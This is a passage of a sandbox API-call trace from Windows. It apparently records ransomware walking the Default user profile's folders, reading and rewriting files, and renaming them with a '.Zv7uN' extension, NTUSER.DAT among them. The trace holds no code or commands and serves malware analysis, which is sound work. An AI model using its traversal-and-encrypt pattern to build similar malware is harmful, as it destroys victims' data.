lpDistanceToMoveHigh=0x18f68c*=0) returned 0x16b [0126.420] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0126.420] ReadFile (in: hFile=0x1ec, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x16b, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f6a0*=0x16b, lpOverlapped=0x0) returned 1 [0126.422] CloseHandle (hObject=0x1ec) returned 1 [0126.422] CreateFileW (lpFileName="C:\\Users\\Default\\Links\\RecentPlaces.lnk" (normalized: "c:\\users\\default\\links\\recentplaces.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0126.424] WriteFile (in: hFile=0x1ec, lpBuffer=0x1ef2040*, nNumberOfBytesToWrite=0x16b, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1ef2040*, lpNumberOfBytesWritten=0x18f6ac*=0x16b, lpOverlapped=0x0) returned 1 [0126.426] CloseHandle (hObject=0x1ec) returned 1 [0126.426] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Links\\RecentPlaces.lnk" (normalized: "c:\\users\\default\\links\\recentplaces.lnk"), lpNewFileName="C:\\Users\\Default\\Links\\RecentPlaces.lnk.Zv7uN" (normalized: "c:\\users\\default\\links\\recentplaces.lnk.zv7un")) returned 1 [0126.427] GetCurrentThreadId () returned 0xa30 [0126.428] GetCurrentThreadId () returned 0xa30 [0126.428] GetCurrentThreadId () returned 0xa30 [0126.428] GetCurrentThreadId () returned 0xa30 [0126.428] GetCurrentThreadId () returned 0xa30 [0126.428] GetCurrentThreadId () returned 0xa30 [0126.428] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0126.428] GetLastError () returned 0x12 [0126.428] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0126.429] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6001b1c0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x6001b1c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0126.429] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0126.429] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0126.429] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6001b1c0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x6001b1c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0126.429] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0126.429] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0126.429] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0126.429] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5ffcef00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="Desktop.lnk.Zv7uN", cAlternateFileName="DESKTO~1.ZV7")) returned 1 [0126.429] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0126.429] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0126.429] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5fff5060, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="Downloads.lnk.Zv7uN", cAlternateFileName="DOWNLO~1.ZV7")) returned 1 [0126.429] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0126.429] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0126.429] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6001b1c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="RecentPlaces.lnk.Zv7uN", cAlternateFileName="RECENT~1.ZV7")) returned 1 [0126.430] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0126.430] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0126.430] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6001b1c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="RecentPlaces.lnk.Zv7uN", cAlternateFileName="RECENT~1.ZV7")) returned 0 [0126.430] GetLastError () returned 0x12 [0126.430] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0126.430] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0126.430] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0126.430] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0126.430] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0126.430] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0126.431] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0126.431] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0126.431] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0126.431] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0126.431] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0126.431] GetLastError () returned 0x12 [0126.431] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0126.431] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0126.431] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0126.431] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0126.432] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0126.433] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0126.433] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0126.433] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0126.433] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0126.433] GetLastError () returned 0x12 [0126.433] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0126.433] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0126.433] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0126.433] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xc103692e, ftCreationTime.dwHighDateTime=0x1ca0451, ftLastAccessTime.dwLowDateTime=0x1dd1880d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1dd1880d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG", cAlternateFileName="NTUSER~3.LOG")) returned 1 [0126.433] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x674ac80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2e400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0126.433] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9012aa61, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0126.434] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x6770de0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5fac0040, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xc0000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.Zv7uN", cAlternateFileName="NTUSER~1.ZV7")) returned 1 [0126.434] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0126.434] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0126.434] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8d30919, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8d30919, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0126.434] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8da2d3a, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8da2d3a, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8e8757c, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0126.434] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8deeffb, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8deeffb, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0126.434] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0126.434] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0126.434] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0126.434] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0126.434] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0126.435] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0126.435] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0126.435] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0126.435] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0126.435] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0126.435] GetLastError () returned 0x12 [0126.435] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0126.435] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0126.435] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0126.435] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0126.435] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, 